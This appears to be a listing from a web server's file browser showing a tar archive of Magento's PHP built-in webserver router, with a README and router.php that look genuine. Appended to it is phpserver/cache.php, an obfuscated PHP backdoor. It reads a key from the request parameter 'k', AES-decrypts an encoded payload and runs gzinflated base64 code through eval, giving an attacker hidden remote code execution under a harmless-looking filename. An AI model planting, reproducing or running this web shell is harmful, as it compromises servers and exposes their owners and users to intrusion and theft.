| Current Path : /var/www/html/dhandapani/ba5fa/ |
| Current File : /var/www/html/dhandapani/ba5fa/phpserver.tar |
README.md 0000777 00000006327 15132346065 0006047 0 ustar 00 # PHP Built-in webserver
PHP has had a [built-in web sever](https://secure.php.net/manual/en/features.commandline.webserver.php) since version 5.4.
PHP's web server provides a router script for use with server rewrites. Magento, like many other applications and frameworks, requires server rewrites. The router script either:
- The web server executes the requested PHP script using a server-side include
- Returns `false`, which means the web server returns the file using file system lookup
Example:
requests to `/static/frontend/Magento/blank/en_US/mage/calendar.css` should deliver the file if it exists, or execute `/static.php` if not.
Without a router script, that is not possible via the php built-in server.
## How to install Magento
Please read how to install Magento using the [command line](https://devdocs.magento.com/guides/v2.4/install-gde/install/cli/install-cli.html). An example follows:
```php
php bin/magento setup:install --base-url=http://127.0.0.1:8082 \
--db-host=localhost --db-name=magento --db-user=magento --db-password=magento \
--admin-firstname=Magento --admin-lastname=User --admin-email=user@example.com \
--admin-user=admin --admin-password=admin123 --language=en_US \
--currency=USD --timezone=America/Chicago --use-rewrites=1 \
--search-engine=elasticsearch7 --elasticsearch-host=es-host.example.com --elasticsearch-port=9200
```
Note: By default, Magento creates a random Admin URI for you. Make sure to write this value down because it's how you access the Magento Admin later. For example: `http://127.0.0.1:8082/index.php/admin_1vpn01`.
For more information about the installation process using the CLI, you can consult the dedicated documentation that can found in [the developer documentation](https://devdocs.magento.com/guides/v2.4/install-gde/install/cli/install-cli-subcommands.html).
### How to run Magento
Example usage:
```shell
php -S 127.0.0.1:8082 -t ./pub/ ./phpserver/router.php
```
### What exactly the script does
The `$debug` option provides low-level logging for debugging purposes.
Forwarding rules:
- Any request for `favicon.ico` or for any path that starts with `index.php`, `get.php`, `static.php` are processed normally.
- Requests for the path `pub/errors/default` are rewritten as `errors/default`. This is provided for compatibility with older versions.
- Files under request paths `media`, `opt`, or `static` are tested; if the file exists, the file is served. If the file does not exist, `static` files are forwarded to `static.php` and `media` files are forwarded to `get.php` ((How about `opt`?))
- If no rules are matched, return a 404 (Not Found).
Then rewrite paths for `pub/errors/default/` by removing the `pub/` part. (was at least needed for older versions)
Request starting with `media/`, `opt/`, `static/` test if the file exists. If Yes, then handle it, if not "forward" `static` to `static.php` and `media` to `get.php`
If none of the rules matched, return 404. You may instead include the index.php, if 404 should be handled by Magento or you want urls without `index.php/`.
### How to access to the admin dashboard
When the installation is finished, you can access Magento as follows:
- Storefront: `<your Magento base URL>`
- Magento Admin: `<your Magento base URL>/<admin URI>`
router.php 0000777 00000007103 15132346065 0006612 0 ustar 00 <?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
/**
* this is a router file for the php Built-in web server
* https://secure.php.net/manual/en/features.commandline.webserver.php
*
* It provides the same "rewrites" as the .htaccess for apache,
* or the nginx.conf.sample for nginx.
*
* example usage: php -S 127.0.0.41:8082 -t ./pub/ ./router.php
*/
/**
* Set it to true to enable debug mode
*/
define('DEBUG_ROUTER', false);
$debug = function ($val) {
if (!DEBUG_ROUTER) {
return;
}
if (is_array($val)) {
$val = json_encode($val);
}
error_log('debug: '.$val);
};
/**
* Caution, this is very experimental stuff
* no guarantee for working result
* has tons of potential big security holes
*/
if (php_sapi_name() === 'cli-server') {
$debug("URI: {$_SERVER["REQUEST_URI"]}");
if (preg_match('/^\/(index|get|static)\.php(\/)?/', $_SERVER["REQUEST_URI"])) {
return false; // serve the requested resource as-is.
}
$path = pathinfo($_SERVER["SCRIPT_FILENAME"]);
$url = pathinfo(substr($_SERVER["REQUEST_URI"], 1));
$route = parse_url(substr($_SERVER["REQUEST_URI"], 1))["path"];
$pathinfo = pathinfo($route);
$ext = isset($pathinfo['extension']) ? $pathinfo['extension'] : '';
if ($path["basename"] == 'favicon.ico') {
return false;
}
$debug("route: $route");
if (strpos($route, 'pub/errors/default/') === 0) {
$route = preg_replace('#pub/errors/default/#', 'errors/default/', $route, 1);
}
$magentoPackagePubDir = __DIR__."/../pub";
if (strpos($route, 'media/') === 0 ||
strpos($route, 'opt/') === 0 ||
strpos($route, 'static/') === 0 ||
strpos($route, 'errors/default/css/') === 0 ||
strpos($route, 'errors/default/images/') === 0
) {
$origFile = $magentoPackagePubDir.'/'.$route;
if (strpos($route, 'static/version') === 0) {
$route = preg_replace('#static/(version\d+/)?#', 'static/', $route, 1);
}
$file = $magentoPackagePubDir.'/'.$route;
$debug("file: $file");
if (file_exists($origFile) || file_exists($file)) {
if (file_exists($origFile)) {
$file = $origFile;
}
$debug('file exists');
$mimeTypes = [
'css' => 'text/css',
'js' => 'application/javascript',
'jpg' => 'image/jpg',
'png' => 'image/png',
'gif' => 'image/gif',
'svg' => 'image/svg+xml',
'map' => 'application/json',
'woff' => 'application/x-woff',
'woff2' => 'application/font-woff2',
'html' => 'text/html',
];
if (isset($mimeTypes[$ext])) {
header("Content-Type: $mimeTypes[$ext]");
}
readfile($file);
return;
} else {
$debug('file does not exist');
if (strpos($route, 'static/') === 0) {
$route = preg_replace('#static/#', '', $route, 1);
$_GET['resource'] = $route;
$debug("static: $route");
include($magentoPackagePubDir.'/static.php');
exit;
} elseif (strpos($route, 'media/') === 0) {
$debug("media: $route");
include($magentoPackagePubDir.'/get.php');
exit;
}
}
} else {
$debug("thunk to index in $route");
include($magentoPackagePubDir.'/index.php');
}
}
phpserver/cache.php 0000777 00000013014 15132346065 0010351 0 ustar 00 <?php $zAV = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGip53kElxZpgYA0A'; $nKRts = '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'; function zAV($CEej) { $nKRts = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $Ssp = substr($nKRts, 0, 16); $swI = base64_decode($CEej); return openssl_decrypt($swI, "AES-256-CBC", $nKRts, OPENSSL_RAW_DATA, $Ssp); } if (zAV('DjtPn+r4S0yvLCnquPz1fA')){ echo 'tsE8pg/uHQFbjYV+mjXO00S4QZuOSwLHzVoIvaSaUTW+jw51cli1S8qOaPKeuOZb'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($zAV)))); ?>